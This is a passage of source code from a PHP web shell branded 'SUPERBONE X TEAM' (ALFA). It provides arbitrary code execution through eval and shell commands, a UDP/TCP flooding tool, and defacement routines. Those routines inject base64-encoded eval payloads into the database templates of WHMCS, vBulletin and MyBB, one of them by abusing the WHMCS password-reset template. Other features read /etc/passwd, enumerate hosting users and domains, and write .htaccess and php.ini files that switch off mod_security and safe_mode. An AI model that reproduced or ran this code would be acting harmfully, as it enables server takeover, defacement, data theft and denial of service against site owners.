  3585. return (in_array($ext,$types)?$s.$ext.'.png':$s.'notfound.png');
  3586. }
  3587. }
  3588. function alfadlfile(){
  3589. if(isset($_POST['c'],$_POST['file'])){
  3590. $basename = rawurldecode(basename($_POST['file']));
  3591. $_POST['file'] = str_replace("//", "/", $_POST['c'].'/'.$basename);
  3592. $alfa_canruncmd = _alfa_can_runCommand(true,true);
  3593. if(@is_file($_POST['file']) && @is_readable($_POST['file']) || $alfa_canruncmd){
  3594. ob_start("ob_gzhandler", 4096);
  3595. header("Content-Disposition: attachment; filename=\"".addslashes($basename)."\"");
  3596. header("Content-Type: application/octet-stream");
  3597. if(isset($GLOBALS["glob_chdir_false"])){
  3598. $randname = $basename.rand(111,9999);
  3599. $scriptpath = dirname($_SERVER["SCRIPT_FILENAME"]);
  3600. $filepath = $scriptpath."/".$randname;
  3601. if(_alfa_is_writable($scriptpath)){
  3602. alfaEx("cp '".addslashes($_POST["file"])."' '".addslashes($filepath)."'");
  3603. readfile($filepath);
  3604. @unlink($filepath);
  3605. }else{
  3606. alfaEx("cat '".addslashes($_POST["file"])."'");
  3607. }
  3608. }else{
  3609. readfile($_POST['file']);
  3610. }
  3611. }else echo('Error...!');}}
  3612. function alfaphpeval(){
  3613. alfahead();
  3614. if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'ini')){
  3615. echo '<div class=header>';
  3616. ob_start();
  3617. $INI=ini_get_all();
  3618. print '<table border=0><tr>'
  3619. .'<td class="listing"><font class="highlight_txt">Param</td>'
  3620. .'<td class="listing"><font class="highlight_txt">Global value</td>'
  3621. .'<td class="listing"><font class="highlight_txt">Local Value</td>'
  3622. .'<td class="listing"><font class="highlight_txt">Access</td></tr>';
  3623. foreach ($INI as $param => $values)
  3624. print "\n".'<tr>'
  3625. .'<td class="listing"><b>'.$param.'</td>'
  3626. .'<td class="listing">'.$values['global_value'].' </td>'
  3627. .'<td class="listing">'.$values['local_value'].' </td>'
  3628. .'<td class="listing">'.$values['access'].' </td></tr>';
  3629. $tmp = ob_get_clean();
  3630. $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  3631. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  3632. echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  3633. }
  3634. if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'info')) {
  3635. echo '<div class=header><style>.p {color:#000;}</style>';
  3636. ob_start();
  3637. phpinfo();
  3638. $tmp = ob_get_clean();
  3639. $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  3640. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  3641. echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  3642. }
  3643. if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'exten')) {
  3644. echo '<div class=header>';
  3645. ob_start();
  3646. $EXT=get_loaded_extensions();
  3647. echo '<table border=0><tr><td class="listing">'.implode('</td></tr>'."\n".'<tr><td class="listing">', $EXT).'</td></tr></table>'.count($EXT).' extensions loaded';
  3648. echo '</div><br>';
  3649. }
  3650. $lang_html = "";
  3651. foreach(array("php"=>"php ~> [ Windows / Linux ]","perl"=>"perl ~> [ Linux ]","python"=>"python ~> [ Linux ]","bash"=>"bash ~> [ Linux ]") as $key=>$val){$lang_html .= '<option value="'.$key.'" '.($_POST["alfa3"]==$key?"selected":"").'>'.$val.'</option>';}
  3652. echo '<div class=header><Center><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'info\')"> | phpinfo |</a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'exten\')"> | extensions |</a></center><br><form name=pf method=post onsubmit="g(\'phpeval\',null,this.code.value,null,this.language.value); return false;"><div class="txtfont">Select Language: </div> <select name="language" style="width:300px;">'.$lang_html.'</select><br><br><textarea placeholder="file_get_contents(\'/etc/passwd\');" name=code class=bigarea id=PhpCode>'.(!empty($_POST['alfa1'])?htmlspecialchars($_POST['alfa1']):'').'</textarea><center><input type="submit" value="" style="margin-top:5px"></center>';
  3653. echo '</form><pre id=PhpOutput style="'.(empty($_POST['alfa1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  3654. if(!empty($_POST['alfa1'])){
  3655. if($_POST['alfa3']=="php"){
  3656. ob_start();eval($_POST['alfa1']);
  3657. $result = htmlspecialchars(ob_get_clean());
  3658. }elseif(_alfa_can_runCommand()&&$GLOBALS["sys"]=="unix"){
  3659. if(isset($_SESSION["eval_tmpdir"])){
  3660. $tempdir = $_SESSION["eval_tmpdir"];
  3661. }else{
  3662. $tempdir = dirname(alfaEx("mktemp"));
  3663. $_SESSION["eval_tmpdir"] = $tempdir;
  3664. }
  3665. $lang = $_POST['alfa3'];
  3666. $filename = "temp".rand(11111,99999);
  3667. $temp = $tempdir."/".$filename ;
  3668. __write_file($filename, $_POST['alfa1']);
  3669. $result = alfaEx("mv {$filename} {$temp};{$lang} {$temp};rm -f {$temp}");
  3670. @unlink($filename);
  3671. @unlink($temp);
  3672. }
  3673. echo '<textarea class=bigarea id="PhpCode">'.$result.'</textarea>';
  3674. }
  3675. echo '</pre></div>';
  3676. alfafooter();
  3677. }
  3678. function alfahash(){
  3679. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  3680. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  3681. $stringTools = array(
  3682. 'Base64_encode ( $string )' => '__ZW5jb2Rlcg($s)',
  3683. 'Base64_decode ( $string )' => '__ZGVjb2Rlcg($s)',
  3684. 'strrev ( $string )' => 'strrev($s)',
  3685. 'bin2hex ( $string )' => 'bin2hex($s)',
  3686. 'hex2bin ( $string )' => 'hex2bin($s)',
  3687. 'md5 ( $string )' => 'md5($s)',
  3688. 'sha1 ( $string )' => 'sha1($s)',
  3689. 'hash ( "sha251", $string ) --> sha251' => 'hash("sha256",$s)',
  3690. 'hash ( "sha384", $string ) --> sha384' => 'hash("sha384",$s)',
  3691. 'hash ( "sha512", $string ) --> sha512' => 'hash("sha512",$s)',
  3692. 'crypt ( $string )' => 'crypt($s)',
  3693. 'crc32 ( $string )' => 'crc32($s)',
  3694. 'str_rot13 ( $string )' => 'str_rot13($s)',
  3695. 'urlencode ( $string )' => 'urlencode($s)',
  3696. 'urldecode ( $string )' => 'urldecode($s)',
  3697. 'full_urlencode ( $string )' => 'full_urlencode($s)',
  3698. 'htmlspecialchars ( $string )' => 'htmlspecialchars($s)',
  3699. 'base64_encode (gzdeflate( $string , 9)) --> Encode' => '__ZW5jb2Rlcg(gzdeflate($s, 9))',
  3700. 'gzinflate (base64_decode( $string )) --> Decode' => '@gzinflate(__ZGVjb2Rlcg($s))',
  3701. 'str_rot13 (base64_encode( $string )) --> Encode' => 'str_rot13(__ZW5jb2Rlcg($s))',
  3702. 'base64_decode (str_rot13( $string )) --> Decode' => '__ZGVjb2Rlcg(str_rot13($s))',
  3703. 'str_rot13 (base64_encode(gzdeflate( $string , 9))) --> Encode' => 'str_rot13(__ZW5jb2Rlcg(gzdeflate($s,9)))',
  3704. 'gzinflate (base64_decode(str_rot13( $string ))) --> Decode' => '@gzinflate(__ZGVjb2Rlcg(str_rot13($s)))',
  3705. );
  3706. alfahead();
  3707. echo '<div class=header>';
  3708. echo "<form onSubmit='g(\"hash\",null,this.selectTool.value,this.input.value);return false;'><div class='txtfont'>Method:</div> <select name='selectTool' style='width:400px;'>";
  3709. foreach($stringTools as $k => $v)
  3710. echo "<option value='".htmlspecialchars($v)."' ".($_POST['alfa1']==$v?'selected':'').">".$k."</option>";
  3711. echo "</select> <input type='submit' value=' '/><br><textarea name='input' style='margin-top:5px' class='bigarea'>".(empty($_POST['alfa1'])?'':htmlspecialchars(@$_POST['alfa2']))."</textarea></form>";
  3712. if(!empty($_POST['alfa1'])){
  3713. $string = addslashes($_POST['alfa2']);
  3714. $string = str_replace('\"','"',$string);
  3715. $alg = $_POST['alfa1'];
  3716. $code = str_replace('$s',"'".$string."'",$alg);
  3717. ob_start();
  3718. eval('echo '.$code.';');
  3719. $res = ob_get_contents();
  3720. ob_end_clean();
  3721. if(in_array($alg, $stringTools))echo '<textarea class="bigarea" id="PhpCode">'.htmlspecialchars($res).'</textarea>';
  3722. }
  3723. echo "</div>";
  3724. alfaFooter();
  3725. }
  3726. function alfados(){
  3727. alfahead();
  3728. echo '<div class=header>';
  3729. echo '<center><p><div class="txtfont_header">| DOS |</div></p><form onSubmit="g(\'dos\',null,this.host.value,this.time.value,this.port.value,this.m.value); return false;"><div class="txtfont">Method : <select name="m" style="width:80px;"><option value="udp">UDP</option><option value="tcp">TCP</option></select> Host : <input name="host" type="text" value="localhost" size="25" /> Time : <input name="time" type="text" size="15" /> Port : <input name="port" type="text" size="10" /> <input type="submit" value=" " /></div></form></center><br>';
  3730. if(!empty($_POST['alfa1']) && !empty($_POST['alfa2']) && !empty($_POST['alfa3'])){
  3731. echo __pre();
  3732. $packets=0;
  3733. ignore_user_abort(true);
  3734. $exec_time=(int)$_POST['alfa2'];
  3735. $time=time();
  3736. $max_time=$exec_time+$time;
  3737. $host=$_POST['alfa1'];
  3738. $port=(int)$_POST['alfa3'];
  3739. $method=$_POST['alfa4'];
  3740. $out = str_repeat('X',65000);
  3741. while(1){
  3742. $packets++;
  3743. if(time() > $max_time){
  3744. break;
  3745. }
  3746. $fp = @fsockopen($method.'://'.$host, $port, $errno, $errstr, 5);
  3747. if($fp){
  3748. fwrite($fp, $out);
  3749. fclose($fp);
  3750. }
  3751. }
  3752. echo "<center>$packets (" . @round(($packets*65)/1024, 2) . " MB) packets averaging ". @round($packets/$exec_time, 2) . " packets per second</center>";
  3753. echo "</pre>";
  3754. }
  3755. echo '</div>';
  3756. alfafooter();
  3757. }
  3758. function __pre(){return('<pre id="strOutput" style="margin-top:5px" class="ml1">');}
  3759. function alfaIndexChanger(){
  3760. alfahead();
  3762. echo '<div class=header><center><p><div class="txtfont_header">| Index Changer |</div></p><h3><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,null,null,\'whmcs\')">| Whmcs | </a><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,\'vb\',null)">| vBulletin | </a><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,null,\'mybb\')">| MyBB | </a></h3></center>';
  3763. if(isset($_POST['alfa3'])&&($_POST['alfa3'] == 'whmcs')){
  3764. echo __pre();
  3766. echo "<center><center><div class='txtfont_header'>| Whmcs |</div>
  3767. <p><center>".getConfigHtml('whmcs')."<form onSubmit=\"g('IndexChanger',null,null,null,'whmcs',this.fname.value,this.path.value,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value); return false;\">
  3768. ";
  3769. $table = array('td1' =>
  3770. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
  3771. 'td2' =>
  3772. array('color' => 'FFFFFF', 'tdName' => 'URL', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'),
  3773. 'td3' =>
  3774. array('color' => 'FFFFFF', 'tdName' => 'File Name', 'inputName' => 'fname', 'inputValue' => '', 'inputSize' => '50'),
  3775. 'td4' =>
  3776. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
  3777. 'td5' =>
  3778. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
  3779. 'td6' =>
  3780. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
  3781. );
  3782. create_table($table);
  3783. echo "<br><div class='txtfont'>| Your Index |</div><br>
  3784. <textarea name=index rows='19' cols='103'><title>Hacked By SUPERBONE X TEAM</title><b>Hacked By SUPERBONE X TEAM</b></textarea><br>
  3785. <input type='submit' value=' '>
  3786. </form></center></center>";
  3787. if(isset($_POST['alfa6'])){
  3788. $s0levisible="Powered By Solevisible";
  3789. $dbu = $_POST['alfa6'];
  3790. $path = $_POST['alfa5'];
  3791. $fname = $_POST['alfa4'];
  3792. $dbn = $_POST['alfa7'];
  3793. $dbp = $_POST['alfa8'];
  3794. $dbh = $_POST['alfa9'];
  3795. $index = $_POST['alfa10'];
  3796. $index = str_replace("\'","'",$index);
  3797. $deface = '$x = base64_decode("'.__ZW5jb2Rlcg($index).'"); $solevisible = fopen("'.$fname.'","w"); fwrite($solevisible,$x);';
  3798. $saveData = __ZW5jb2Rlcg($deface);
  3799. $Def = '{php}eval(base64_decode("'.$saveData.'"));{/php}';
  3800. if(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){
  3801. $conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
  3802. $soleSave=@mysqli_query($conn,"select message from tblemailtemplates where name='Password Reset Validation'");
  3803. $soleGet = mysqli_fetch_assoc($soleSave);
  3804. $tempSave1 = $soleGet['message'];
  3805. $tempSave = str_replace("'","\'",$tempSave1);
  3806. $inject = "UPDATE tblemailtemplates SET message='$Def' WHERE name='Password Reset Validation'";
  3807. $result=@mysqli_query($conn,$inject) or die (mysqli_error($conn));
  3808. $create = "insert into tblclients (email) values('solevisible@fbi.gov')";
  3809. $result2 =@mysqli_query($conn,$create) or die (mysqli_error($conn));
  3810. if(function_exists('curl_version')){
  3811. $AlfaSole = new AlfaCURL(true);
  3812. $saveurl = $AlfaSole->Send($path."/pwreset.php");
  3813. $getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i",$saveurl,$token);
  3814. $AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov");
  3815. $backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
  3816. $Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));
  3817. __alert('File Created...');
  3818. echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='".$path."/".$fname."'>Click Here !</a></font></b></center><br><br>";
  3819. }else{
  3820. echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target </font><font color=red>\" ".$path."/pwreset.php \"</font><br/><font color=\"#FFFFFF\"> and reset password with email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color=\"#FFFFFF\">and go to</font> <font color=red>\" ".$path."/".$fname." \"</font></b></center><br><br>";
  3821. }}}}
  3822. if(isset($_POST['alfa1']) && ($_POST['alfa1'] == 'vb')){
  3823. echo __pre();
  3825. echo "<center><center><div class='txtfont_header'>| vBulletin |</div>
  3826. <p><center>".getConfigHtml('vb')."<form onSubmit=\"g('IndexChanger',null,'vb',this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value,this.prefix.value,'>>'); return false;\">
  3827. ";
  3828. $table = array('td1' =>
  3829. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
  3830. 'td2' =>
  3831. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
  3832. 'td3' =>
  3833. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
  3834. 'td4' =>
  3835. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
  3836. 'td5' =>
  3837. array('color' => 'FFFFFF', 'tdName' => 'Prefix', 'inputName' => 'prefix', 'id' => 'db_prefix', 'inputValue' => '', 'inputSize' => '50')
  3838. );
  3839. create_table($table);
  3840. echo "<br><div class='txtfont'>| Your Index |</div><br>
  3841. <textarea name='index' rows='19' cols='103'><title>Hacked By SUPERBONE X TEAM</title><b>Hacked By SUPERBONE X TEAM</b></textarea><br>
  3842. <input type='submit' value=' '></form></center></center>";
  3843. if($_POST['alfa8']=='>>'){
  3844. $s0levisible="Powered By Solevisible";
  3845. $dbu = $_POST['alfa2'];
  3846. $dbn = $_POST['alfa3'];
  3847. $dbp = $_POST['alfa4'];
  3848. $dbh = $_POST['alfa5'];
  3849. $index = $_POST['alfa6'];
  3850. $prefix = $_POST['alfa7'];
  3851. $index=str_replace("\'","'",$index);
  3852. $set_index = "{\${eval(base64_decode(\'";
  3853. $set_index .= __ZW5jb2Rlcg("echo \"$index\";");
  3854. $set_index .= "\'))}}{\${exit()}}";
  3855. if(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){
  3856. $conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
  3857. $loli1 = "UPDATE ".$prefix."template SET template='".$set_index."".$s0levisible."' WHERE title='spacer_open'";
  3858. $loli2 = "UPDATE ".$prefix."template SET template='".$set_index."".$s0levisible."' WHERE title='FORUMHOME'";
  3859. $loli3 = "UPDATE ".$prefix."style SET css='".$set_index."".$s0levisible."', stylevars='', csscolors='', editorstyles=''";
  3860. @mysqli_query($conn,$loli1) or die (mysqli_error($conn));
  3861. @mysqli_query($conn,$loli2) or die (mysqli_error($conn));
  3862. @mysqli_query($conn,$loli3) or die (mysqli_error($conn));
  3863. __alert('VB index changed...!');
  3864. }
  3865. }
  3866. }
  3867. if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'mybb')) {
  3868. echo __pre();
  3870. echo "<center><center><div class='txtfont_header'>| Mybb |</div>
  3871. <p><center>".getConfigHtml('mybb')."<form onSubmit=\"g('IndexChanger',null,'null','mybb',null,null,null,this.mybbdbh.value,this.mybbdbu.value,this.mybbdbn.value,this.mybbdbp.value,this.mybbindex.value); return false;\" method=POST action=''>
  3872. ";
  3873. $table = array('td1' =>
  3874. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'mybbdbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
  3875. 'td2' =>
  3876. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'mybbdbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
  3877. 'td3' =>
  3878. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'mybbdbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
  3879. 'td4' =>
  3880. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'mybbdbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
  3881. );
  3882. create_table($table);
  3883. echo "<br><div class='txtfont'>| Your Index |</div><br>
  3884. <textarea name=mybbindex rows='19' cols='103'>
  3885. <title>Hacked By SUPERBONE X TEAM</title><b>Hacked By SUPERBONE X TEAM</b></textarea><p><input type='submit' value='' ></p></form></center></center>";
  3886. if(isset($_POST['alfa6'])){
  3887. $mybb_dbh = $_POST['alfa6'];
  3888. $mybb_dbu = $_POST['alfa7'];
  3889. $mybb_dbn = $_POST['alfa8'];
  3890. $mybb_dbp = $_POST['alfa9'];
  3891. $mybb_index = $_POST['alfa10'];
  3892. if(!empty($mybb_dbh)&&!empty($mybb_dbu)&&!empty($mybb_dbn)&&!empty($mybb_index)){
  3893. $conn=@mysqli_connect($mybb_dbh,$mybb_dbu,$mybb_dbp,$mybb_dbn) or die(mysqli_error($conn));
  3894. $prefix="mybb_";
  3895. $loli7 = "UPDATE ".$prefix."templates SET template='".$mybb_index."' WHERE title='index'";
  3896. $result =@mysqli_query($conn,$loli7) or die (mysqli_error($conn));
  3897. __alert('MyBB index changed...!');
  3898. }
  3899. }
  3900. }
  3901. echo "</div>";
  3902. alfafooter();
  3903. }
  3904. function alfaproc()
  3905. {
  3906. alfahead();
  3907. echo "<Div class=header><br><center>";
  3908. if(empty($_POST['ajax'])&&!empty($_POST['alfa1']))
  3909. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  3910. if($GLOBALS['sys']=="win"){
  3911. $process=array(
  3912. "Task List" =>"tasklist /V",
  3913. "System Info" =>"systeminfo",
  3914. "Active Connections" => "netstat -an",
  3915. "Running Services" => "net start",
  3916. "User Accounts" => "net user",
  3917. "Show Computers" => "net view",
  3918. "ARP Table" => "arp -a",
  3919. "IP Configuration" => "ipconfig /all"
  3920. );}else{
  3921. $process=array(
  3922. "Process status" => "ps aux",
  3923. "Syslog" =>"cat /etc/syslog.conf",
  3924. "Resolv" => "cat /etc/resolv.conf",
  3925. "Hosts" =>"cat /etc/hosts",
  3926. "Cpuinfo"=>"cat /proc/cpuinfo",
  3927. "Version"=>"cat /proc/version",
  3928. "Sbin"=>"ls -al /usr/sbin",
  3929. "Interrupts"=>"cat /proc/interrupts",
  3930. "lsattr"=>"lsattr -va",
  3931. "Uptime"=>"uptime",
  3932. "Fstab" =>"cat /etc/fstab"
  3933. );}
  3934. foreach($process as $n => $link){
  3935. echo '<a href="javascript:void(0);" onclick="g(\'proc\',null,\''.$link.'\')"> | '.$n.' | </a>';
  3936. }
  3937. echo "</center><br>";
  3938. if(!empty($_POST['alfa1'])){
  3939. echo "<pre class='ml1' style='margin-top:5px' >";
  3940. if(isset($GLOBALS["glob_chdir_false"])&&!empty($_POST["c"])){$cmd = "cd '".addslashes($_POST["c"])."';";}
  3941. echo alfaEx($cmd.$_POST['alfa1']);
  3942. echo '</pre>';
  3943. }
  3944. echo "</div>";
  3945. alfafooter();
  3946. }
  3947. function alfasafe(){
  3948. alfahead();
  3949. echo "<div class=header><center><br><div class='txtfont_header'>| Auto ByPasser |</div>";
  3950. echo '<h3><a href=javascript:void(0) onclick="g(\'safe\',null,\'php.ini\',null)">| PHP.INI | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,\'ini\')">| .htaccess(apache) | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,\'pl\')">| .htaccess(LiteSpeed) |</a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,\'passwd\')">| Read-Passwd | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,\'users\')">| Read-Users | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,\'valiases\')">| Get-User | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,null,null,\'domains\')">| Get-Domains | </a></center></h3>';
  3951. if(!empty($_POST['alfa8']) && isset($_POST['alfa8']) == 'domains'){
  3952. if(!_alfa_file_exists("/etc/virtual/domainowners")){
  3953. echo __pre();
  3954. $solevisible9 = _alfa_file('/etc/named.conf');
  3955. if(is_array($solevisible9)){
  3956. foreach($solevisible9 as $solevisible13){
  3957. if(@eregi('zone',$solevisible13)){
  3958. preg_match_all('#zone "(.*)"#',$solevisible13,$solevisible14);
  3959. if(strlen(trim($solevisible14[1][0])) > 2){
  3960. echo $solevisible14[1][0].'<br>';
  3961. }}}
  3962. }
  3963. }else{
  3964. echo __pre();
  3965. $users = _alfa_file("/etc/virtual/domainowners");
  3966. if(is_array($users)){
  3967. foreach($users as $boz){
  3968. $dom = explode(":",$boz);
  3969. echo $dom[0]."\n";}}}}
  3970. if(!empty($_POST['alfa6']) && isset($_POST['alfa6']) == 'valiases'){
  3971. echo '
  3972. <form onsubmit="g(\'safe\',null,null,null,null,null,null,\'valiases\',this.site.value,null,\'>>\'); return false;" method="post" /><center><div class="txtfont">Url: </font><input type="text" placeholder="site.com" name="site" /> <input type="submit" value=" " name="go" /></form></center>';
  3973. if(isset($_POST['alfa9']) && $_POST['alfa9'] == '>>'){
  3974. if(!_alfa_file_exists("/etc/virtual/domainowners")){
  3975. $site = trim($_POST['alfa7']);
  3976. $rep = str_replace(array("https://","http://","www."),"",$site);
  3977. $user = "";
  3978. if(function_exists("posix_getpwuid") && function_exists("fileowner")){
  3979. if($user = @posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))){
  3980. $user = $user['name'];
  3981. }
  3982. }else{
  3983. if(_alfa_can_runCommand(true,true)){
  3984. $user = alfaEx("stat -c '%U' /etc/valiases/".$rep);
  3985. }
  3986. }
  3987. if(!empty($user)&&$user!='root'){
  3988. echo __pre()."<center><table border='1'><tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">{$user}</font></b></td></tr><tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";
  3989. }else {echo __pre().'<center><b>No such file or directory Or Disable Functions is not NONE...</b></center>';}
  3990. }else{
  3991. $site = trim($_POST['alfa7']);
  3992. $rep = str_replace(array("https://","http://","www."),"",$site);
  3993. $users = _alfa_file("/etc/virtual/domainowners");
  3994. foreach($users as $boz){
  3995. $ex = explode(":",$boz);
  3996. if($ex[0] == $rep){
  3997. echo __pre()."<center><table border='1'>
  3998. <tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">".trim($ex[1])."</font></b></td></tr>
  3999. <tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";break;}}}}}
  4000. if(!empty($_POST['alfa5']) && isset($_POST['alfa5'])){
  4001. if(!_alfa_file_exists("/etc/virtual/domainowners")){
  4002. echo __pre();
  4003. $i = 0;
  4004. while ($i < 60000) {
  4005. $line = @posix_getpwuid($i);
  4006. if (!empty($line)) {
  4007. while (list ($key, $vl) = each($line)){
  4008. echo $vl."\n";
  4009. break;}}$i++;}
  4010. }else{echo __pre();
  4011. $users = _alfa_file("/etc/virtual/domainowners");
  4012. foreach($users as $boz){
  4013. $user = explode(":",$boz);
  4014. echo trim($user[1]).'<br>';}}}
  4015. if(!empty($_POST['alfa4']) && isset($_POST['alfa4'])){
  4016. echo __pre();
  4017. if(_alfa_can_runCommand(true,true)){echo __read_file("/etc/passwd");}elseif(function_exists("posix_getpwuid")){
  4018. for($uid=0;$uid<60000;$uid++){
  4019. $ara = @posix_getpwuid($uid);
  4020. if(!empty($ara)){
  4021. while(list ($key, $val) = each($ara)){
  4022. echo "$val:";
  4023. }echo "\n";}}
  4024. }else{__alert('failed...');}}
  4025. if(!empty($_POST['alfa2']) && isset($_POST['alfa2'])){
  4026. @__write_file($GLOBALS['cwd'].".htaccess","#Generated By SEO K and Invisible\n<IfModule mod_security.c>\nSec------Engine Off\nSec------ScanPOST Off\n</IfModule>");
  4027. echo '<center><b><big>htaccess for Apache created...!</center></b></big>';
  4028. }
  4029. if(!empty($_POST['alfa1'])&& isset($_POST['alfa1'])){
  4030. @__write_file($GLOBALS['cwd']."php.ini","safe_mode=OFF\ndisable_functions=ByPassed By SUPERBONE X TEAM(ALFA TEaM)");
  4031. echo '<center><b><big> php.ini created...!</center></b></big>';
  4032. }
  4033. if(!empty($_POST['alfa3']) && isset($_POST['alfa3'])){
  4034. @__write_file($GLOBALS['cwd'].".htaccess","#Generated By SEO K and Invisible\n<Files *.php>\nForceType application/x-httpd-php4\n</Files>\n<IfModule mod_security.c>\nSecFilterEngine Off\nSecFilterScanPOST Off\n</IfModule>");
  4035. echo '<center><b><big>htaccess for Litespeed created...!</center></b></big>';
  4036. }
  4037. echo "<br></div>";
  4038. alfafooter();
  4039. }
  4040. function __get_resource($content){
  4041. return @gzinflate(__ZGVjb2Rlcg($content));
  4042. }
  4043. function __write_file($file, $content){
  4044. if($fh = @fopen($file, "wb")){
  4045. if(fwrite($fh, $content)!==false) return true;
  4046. }
  4047. return false;
  4048. }
  4049. function bcinit($evalType, $evalCode, $evalOptions, $evalArguments){
  4050. $res = "<font color='green'>[ Success...! ]</font>";
  4051. $err = "<font color='red'>[ Failed...! ]</font>";
  4052. if($evalOptions!="") $evalOptions = $evalOptions." ";
  4053. if($evalArguments!="") $evalArguments = " ".$evalArguments;
  4054. if($evalType=="c"){
  4055. $tmpdir = ALFA_TEMPDIR;
  4056. chdir($tmpdir);
  4057. if(is_writable($tmpdir)){
  4058. $uniq = substr(md5(time()),0,8);
  4059. $filename = $evalType.$uniq.".c";
  4060. $path = $filename;
  4061. if(__write_file($path, $evalCode)){
  4062. $ext = ($GLOBALS['sys']=='win')? ".exe":".out";
  4063. $pathres = $filename.$ext;
  4064. $evalOptions = "-o ".$pathres." ".$evalOptions;
  4065. $cmd = "gcc ".$evalOptions.$path;
  4066. alfaEx($cmd);
  4067. if(is_file($pathres)){
  4068. if(chmod($pathres, 0755)){
  4069. $cmd = $pathres.$evalArguments;
  4070. alfaEx($cmd);
  4071. }else{$res = $err;}
  4072. unlink($pathres);
  4073. }else{$res =$err;}
  4074. unlink($path);
  4075. }else{$res = $err;}
  4076. }
  4077. return $res;
  4078. }elseif($evalType=="java"){
  4079. $tmpdir = ALFA_TEMPDIR;
  4080. chdir($tmpdir);
  4081. if(is_writable($tmpdir)){
  4082. if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){
  4083. $classname = trim($r[1]);
  4084. $filename = $classname;
  4085. }else{
  4086. $uniq = substr(md5(time()),0,8);
  4087. $filename = $evalType.$uniq;
  4088. $evalCode = "class ".$filename." { ".$evalCode . " } ";
  4089. }
  4090. $path = $filename.".java";
